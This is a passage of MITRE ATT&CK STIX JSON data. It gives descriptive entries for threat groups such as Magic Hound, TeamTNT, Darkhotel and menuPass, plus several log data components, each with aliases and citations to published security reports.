2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"User Account Authentication","description":"An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.275Z","name":"Response Content","description":"Logged network traffic in response to a scan showing both protocol header and body values","x_mitre_data_source_ref":"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Whitefly"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","type":"intrusion-set","created":"2020-05-26T16:55:09.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0107","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0107"},{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2021-10-12T21:43:24.133Z","name":"Whitefly","description":"[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Chimera"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","type":"intrusion-set","created":"2020-08-24T17:01:55.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0114","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0114"},{"source_name":"Chimera","description":"(Citation: NCC Group Chimera January 2021) "},{"source_name":"Cycraft Chimera April 2020","url":"https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."},{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2022-03-25T19:35:55.074Z","name":"Chimera","description":"[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Darkhotel","DUBNIUM"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Harry, CODEMIZE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","type":"intrusion-set","created":"2017-05-31T21:31:50.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0012","url":"https://attack.mitre.org/groups/G0012","source_name":"mitre-attack"},{"source_name":"Darkhotel","description":"(Citation: Kaspersky Darkhotel)"},{"source_name":"DUBNIUM","description":"(Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016)"},{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft Digital Defense FY20 Sept 2020","url":"https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf","description":"Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021."},{"source_name":"Microsoft DUBNIUM June 2016","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."},{"source_name":"Microsoft DUBNIUM Flash June 2016","url":"https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/","description":"Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021."},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-22T17:37:58.136Z","name":"Darkhotel","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Magic Hound","TA453","COBALT ILLUSION","Charming Kitten","ITG18","Phosphorus","Newscaster","APT35"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios","Bryan Lee","Daniyal Naeem, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","created":"2018-01-16T16:13:52.465Z","x_mitre_version":"4.1","external_references":[{"source_name":"mitre-attack","external_id":"G0059","url":"https://attack.mitre.org/groups/G0059"},{"source_name":"Charming Kitten","description":"(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"APT35","description":"(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"ITG18","description":"(Citation: IBM ITG18 2020)"},{"source_name":"Phosphorus","description":"(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"TA453","description":"(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)"},{"source_name":"COBALT ILLUSION","description":"(Citation: Secureworks COBALT ILLUSION Threat Profile)"},{"source_name":"Magic Hound","description":"(Citation: Unit 42 Magic Hound Feb 2017)"},{"source_name":"Microsoft Phosphorus Mar 2019","url":"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/","description":"Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020."},{"source_name":"Microsoft Phosphorus Oct 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/","description":"Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021."},{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021."},{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."},{"source_name":"ClearSky Charming Kitten Dec 2017","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017."},{"source_name":"ClearSky Kittens Back 2 Oct 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf","description":"ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021."},{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."},{"source_name":"Eweek Newscaster and Charming Kitten May 2014","url":"https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering","description":"Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021."},{"source_name":"Unit 42 Magic Hound Feb 2017","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017."},{"source_name":"Newscaster","description":"Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)"},{"source_name":"FireEye APT35 2018","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018."},{"source_name":"Proofpoint TA453 July2021","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021."},{"source_name":"Proofpoint TA453 March 2021","url":"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential","description":"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021."},{"source_name":"Secureworks COBALT ILLUSION Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/cobalt-illusion","description":"Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021."},{"source_name":"US District Court of DC Phosphorus Complaint 2019","url":"https://noticeofpleadings.com/phosphorus/files/Complaint.pdf","description":"US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021."},{"source_name":"IBM ITG18 2020","url":"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/","description":"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)","modified":"2022-04-17T13:09:12.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Magic Hound","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TeamTNT"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Will Thomas, Cyjax"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","created":"2021-10-01T01:57:31.229Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0139","url":"https://attack.mitre.org/groups/G0139"},{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."},{"source_name":"Cado Security TeamTNT Worm August 2020","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021."},{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."},{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."},{"source_name":"Intezer TeamTNT September 2020","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021."},{"source_name":"Intezer TeamTNT Explosion September 2021","url":"https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf","description":"Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021."},{"source_name":"Aqua TeamTNT August 2020","url":"https://blog.aquasec.com/container-security-tnt-container-attack","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021."},{"source_name":"Palo Alto Black-T October 2020","url":"https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/","description":"Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021."},{"source_name":"Lacework TeamTNT May 2021","url":"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/","description":"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)","modified":"2022-04-14T21:03:35.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TeamTNT","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Poseidon Group"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","type":"intrusion-set","created":"2017-05-31T21:32:04.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0033","external_id":"G0033"},{"source_name":"Poseidon Group","description":"(Citation: Kaspersky Poseidon Group)"},{"url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","source_name":"Kaspersky Poseidon Group"}],"modified":"2020-03-18T20:25:54.945Z","name":"Poseidon Group","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Application Log Content","description":"Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)","x_mitre_data_source_ref":"x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Naikon"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","type":"intrusion-set","created":"2017-05-31T21:31:54.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0019","url":"https://attack.mitre.org/groups/G0019","source_name":"mitre-attack"},{"source_name":"Naikon","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)(Citation: Baumgartner Golovkin Naikon 2015)"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"},{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"url":"https://securelist.com/the-naikon-apt/69953/","description":"Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. 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(2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-21T16:10:22.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Aquatic Panda","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Process Modification","description":"Changes made to a process, or its contents, typically to write and/or execute code in the memory of the target process (ex: Sysmon EID 8)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["PLATINUM"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0068","external_id":"G0068"},{"source_name":"PLATINUM","description":"(Citation: Microsoft PLATINUM April 2016)"},{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2021-04-22T00:39:49.529Z","name":"PLATINUM","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["menuPass","Cicada","POTASSIUM","Stone Panda","APT10","Red Apollo","CVNX","HOGFISH"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington","Michael Cox"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","type":"intrusion-set","created":"2017-05-31T21:32:09.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0045","external_id":"G0045"},{"source_name":"menuPass","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"Cicada","description":"(Citation: Symantec Cicada November 2020)"},{"source_name":"POTASSIUM","description":"(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"Stone Panda","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)"},{"source_name":"APT10","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)"},{"source_name":"Red Apollo","description":"(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"CVNX","description":"(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"HOGFISH","description":"(Citation: Accenture Hogfish April 2018)"},{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."},{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"url":"https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem","description":"Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.","source_name":"Crowdstrike CrowdCast Oct 2013"},{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."},{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2021-10-11T14:01:44.538Z","name":"menuPass","description":"[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC 